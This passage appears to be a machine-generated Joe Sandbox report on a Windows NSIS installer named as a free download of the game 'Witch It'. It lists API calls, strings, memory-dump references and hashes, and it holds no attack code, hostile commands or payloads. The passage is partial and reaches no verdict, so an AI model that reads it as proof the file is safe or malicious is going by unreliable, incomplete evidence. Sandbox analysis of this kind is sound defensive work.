CloseHandle.KERNEL32(00000000,0041F058,0041F058,?,0041F058,00000000), ref: 00403503
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403558
ExitWindowsEx.USER32(00000002,00000000), ref: 00403594
ExitProcess.KERNEL32 ref: 004035B7

Strings

SeShutdownPrivilege, xrefs: 0040356A
", xrefs: 0040330A
Witch It Free Download v126 Online.exe, xrefs: 004032A0
C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp, xrefs: 0040345E, 00403463, 00403486
NSIS Error, xrefs: 0040329B
/D=, xrefs: 0040333E
C:\Users\user\AppData\Local\Temp\, xrefs: 00403370, 00403375, 0040338F, 0040339B, 00403458, 00403464, 00403470, 00403477, 00403517
NCRC, xrefs: 00403328
1033, xrefs: 004033AA
Error launching installer, xrefs: 004033E5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040324C
_?=, xrefs: 004033D6
"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 004032B0, 004032B6, 004033CC
\Temp, xrefs: 00403396
C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe, xrefs: 004034D1
~nsu.tmp, xrefs: 00403453

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp$C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SeShutdownPrivilege$Witch It Free Download v126 Online.exe$\Temp$~nsu.tmp
API String ID: 2278157092-2000477604
Opcode ID: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction ID: d9df3101e86bd055252ea398e1a167ecdf9755d8b7b18b8fa076e16bcd865dbe
Opcode Fuzzy Hash: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction Fuzzy Hash: E191D231A087417EE7216F609D49B2B7EACEB01306F44457BF941B61E2C77CAE058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050A1
GetDlgItem.USER32(?,000003EE), ref: 004050B0
GetClientRect.USER32(?,?), ref: 004050ED
GetSystemMetrics.USER32(00000015), ref: 004050F5
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405116
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405127
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 0040513A
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00405148
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040515B
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040517D
ShowWindow.USER32(?,00000008), ref: 00405191
GetDlgItem.USER32(?,000003EC), ref: 004051B2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051C2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051DB
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 004051E7
GetDlgItem.USER32(?,000003F8), ref: 004050BF

Part of subcall function 00403F4D: SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

GetDlgItem.USER32(?,000003EC), ref: 00405204
CreateThread.KERNEL32(00000000,00000000,Function_00004FD6,00000000), ref: 00405212
CloseHandle.KERNEL32(00000000), ref: 00405219
ShowWindow.USER32(00000000), ref: 0040523D
ShowWindow.USER32(000104E0,00000008), ref: 00405242
ShowWindow.USER32(00000008), ref: 00405289
SendMessageA.USER32(000104E0,00001004,00000000,00000000), ref: 004052BB
CreatePopupMenu.USER32 ref: 004052CC
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004052E1
GetWindowRect.USER32(000104E0,?), ref: 004052F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405318
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405353
OpenClipboard.USER32(00000000), ref: 00405363
EmptyClipboard.USER32 ref: 00405369
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405372
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040537C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405390
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004053A8
SetClipboardData.USER32(00000001,00000000), ref: 004053B3
CloseClipboard.USER32 ref: 004053B9

Strings

{, xrefs: 004052A8

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction ID: b28aa7ce0402c6385ba5b6cd868a6258f1d07b471923b7bae974b2a68da01879
Opcode Fuzzy Hash: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction Fuzzy Hash: 34A14870904208FFDB219F60DD89AAE7F79FB08355F00417AFA05BA2A0C7795A41DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 004054A9
lstrcatA.KERNEL32(004214A8,\*.*,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 004054F3
lstrcatA.KERNEL32(?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 00405514
lstrlenA.KERNEL32(?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 0040551A
FindFirstFileA.KERNEL32(004214A8,?,?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 0040552B
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 004055DD
FindClose.KERNEL32(?), ref: 004055EE

Strings

\*.*, xrefs: 004054ED
"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 00405495
C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3612163725
Opcode ID: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction ID: bc429f5d1e1b14784ce7e3564347ec6ed469848bfd5577fff983359c073685a4
Opcode Fuzzy Hash: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction Fuzzy Hash: 0351F331904A447ADB216B218C45BBF3B79CF42728F54847BF905711E2CB3C5A82DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406131 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction ID: 7fe690cacb8e5da35aefc448adc87e2f65dc6f56ff44dc44b78e187fa59068bd
Opcode Fuzzy Hash: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction Fuzzy Hash: 70F16871D00229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E88 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction ID: 91087f9554edebef2dfdad95906e97f440013226b38390424b9c6ad62026e406
Opcode Fuzzy Hash: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction Fuzzy Hash: 0FE08C32A08511BBD3115B30ED0896B77A8EA89B41304083EF959F6290D734EC119BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00405E61 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,004224F0,004218A8,0040577D,004218A8,004218A8,00000000,004218A8,004218A8,?,?,76232EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 00405E6C
FindClose.KERNEL32(00000000), ref: 00405E78

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction ID: f2fe444ddfa45285d6a9eb51d657c4c39712a0d2250b7f8498e11f87d01b5aa3
Opcode Fuzzy Hash: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction Fuzzy Hash: 26D012359495206FC7001738AD0C85B7A58EF553347508B32F969F62E0C7B4AD51DAED

Uniqueness

Uniqueness Score: -1.00%

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A81
ShowWindow.USER32(?), ref: 00403A9E
DestroyWindow.USER32 ref: 00403AB2
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403ACE
GetDlgItem.USER32(?,?), ref: 00403AEF
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B03
IsWindowEnabled.USER32(00000000), ref: 00403B0A
GetDlgItem.USER32(?,00000001), ref: 00403BB8
GetDlgItem.USER32(?,00000002), ref: 00403BC2
SetClassLongA.USER32(?,000000F2,?), ref: 00403BDC
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C2D
GetDlgItem.USER32(?,00000003), ref: 00403CD3
ShowWindow.USER32(00000000,?), ref: 00403CF4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D21
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D37
EnableMenuItem.USER32(00000000), ref: 00403D3E
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D56
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D69
lstrlenA.KERNEL32(004204A0,?,004204A0,Witch It Free Download v126 Online.exe), ref: 00403D92
SetWindowTextA.USER32(?,004204A0), ref: 00403DA1
ShowWindow.USER32(?,0000000A), ref: 00403ED5

Strings

Witch It Free Download v126 Online.exe, xrefs: 00403D83

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherLongMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: Witch It Free Download v126 Online.exe
API String ID: 1252290697-3303341547
Opcode ID: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction ID: 1b558320748e03173a152966608fa9e4bba3452d5179f8dde3fdb5243a6fbb8a
Opcode Fuzzy Hash: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction Fuzzy Hash: 21C18071A04204BBDB216F21ED45E2B3E7DEB4970AF40053EF541B12E1C739AA42DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

lstrcatA.KERNEL32(1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403720
lstrlenA.KERNEL32(00422E40,?,?,?,00422E40,00000000,00429400,1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"), ref: 00403795
lstrcmpiA.KERNEL32(?,.exe), ref: 004037A8
GetFileAttributesA.KERNEL32(00422E40), ref: 004037B3
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004037FC

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

RegisterClassA.USER32 ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403894
ShowWindow.USER32(00000005,00000000), ref: 004038CA
LoadLibraryA.KERNEL32(RichEd20), ref: 004038DB
LoadLibraryA.KERNEL32(RichEd32), ref: 004038E6
GetClassInfoA.USER32(00000000,RichEdit20A,00423640), ref: 004038F6
GetClassInfoA.USER32(00000000,RichEdit,00423640), ref: 00403903
RegisterClassA.USER32(00423640), ref: 0040390C
DialogBoxParamA.USER32(?,00000000,00403A45,00000000), ref: 0040392B

Strings

@.B, xrefs: 00403763
.DEFAULT\Control Panel\International, xrefs: 0040370B
@6B, xrefs: 0040380B
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B3
_Nb, xrefs: 00403852, 00403857
1033, xrefs: 004036CF, 0040371B
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
A.B, xrefs: 00403785
RichEd20, xrefs: 004038D6
RichEd32, xrefs: 004038E1
.exe, xrefs: 004037A2
"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 004036BB
RichEdit20A, xrefs: 004038EE, 004038F4
RichEdit, xrefs: 004038FD

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$.DEFAULT\Control Panel\International$.exe$1033$@.B$@6B$A.B$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-3094555694
Opcode ID: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction ID: 5edcd83abe1923a5ef33726047749e404321c8c293ca1ea02831498dc8d0bb6f
Opcode Fuzzy Hash: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction Fuzzy Hash: A961A3B16442007FD720AF659D45E2B3AADEB4475AF40457FF940B22E1D77CAD01CA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040EB
GetDlgItem.USER32(00000000,000003E8), ref: 004040FF
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040411D
GetSysColor.USER32(?), ref: 0040412E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040413D
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040414C
lstrlenA.KERNEL32(?), ref: 00404156
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404164
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404173
GetDlgItem.USER32(?,0000040A), ref: 004041D6
SendMessageA.USER32(00000000), ref: 004041D9
GetDlgItem.USER32(?,000003E8), ref: 00404204
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404244
LoadCursorA.USER32(00000000,00007F02), ref: 00404253
SetCursor.USER32(00000000), ref: 0040425C
ShellExecuteA.SHELL32(0000070B,open,@.B,00000000,00000000,00000001), ref: 0040426F
LoadCursorA.USER32(00000000,00007F00), ref: 0040427C
SetCursor.USER32(00000000), ref: 0040427F
SendMessageA.USER32(00000111,00000001,00000000), ref: 004042AB
SendMessageA.USER32(00000010,00000000,00000000), ref: 004042BF

Strings

N, xrefs: 004041F2
open, xrefs: 00404267
@.B, xrefs: 00404264

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @.B$N$open
API String ID: 3615053054-3815657624
Opcode ID: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction ID: 7761d7a6ce13443680711406d70bf9c6d022160e69bfd2fffc9b265f6460a43d
Opcode Fuzzy Hash: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction Fuzzy Hash: 4661B2B1A40209BFEB109F60DC45F6A3B69FB44755F10817AFB04BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C86
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,00000400), ref: 00402CA2

Part of subcall function 0040583D: GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,80000000,00000003), ref: 00405841
Part of subcall function 0040583D: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,80000000,00000003), ref: 00402CEB
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402E32

Strings

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp, xrefs: 00402CCD, 00402CD2, 00402CD8
Error launching installer, xrefs: 00402CC2
Null, xrefs: 00402D6B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E7B
Inst, xrefs: 00402D59
soft, xrefs: 00402D62
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EC9
HE6, xrefs: 00402D7A, 00402DDA
"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 00402C7F
ws7, xrefs: 00402EF7
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C72, 00402E4A
C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe, xrefs: 00402C8C, 00402C9B, 00402CAF, 00402CCC

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp$C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$HE6$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$ws7
API String ID: 2803837635-2115470553
Opcode ID: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction ID: 0b72a330c31c6d4d52753dad6a5c3012229d4666e6dae103a7747cbc92612fb8
Opcode Fuzzy Hash: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction Fuzzy Hash: B761E231A40215ABDB20DF64DE49B9E7BB4EB04315F20407BF904B62D2D7BC9E458B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,get,get,00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 0040179D

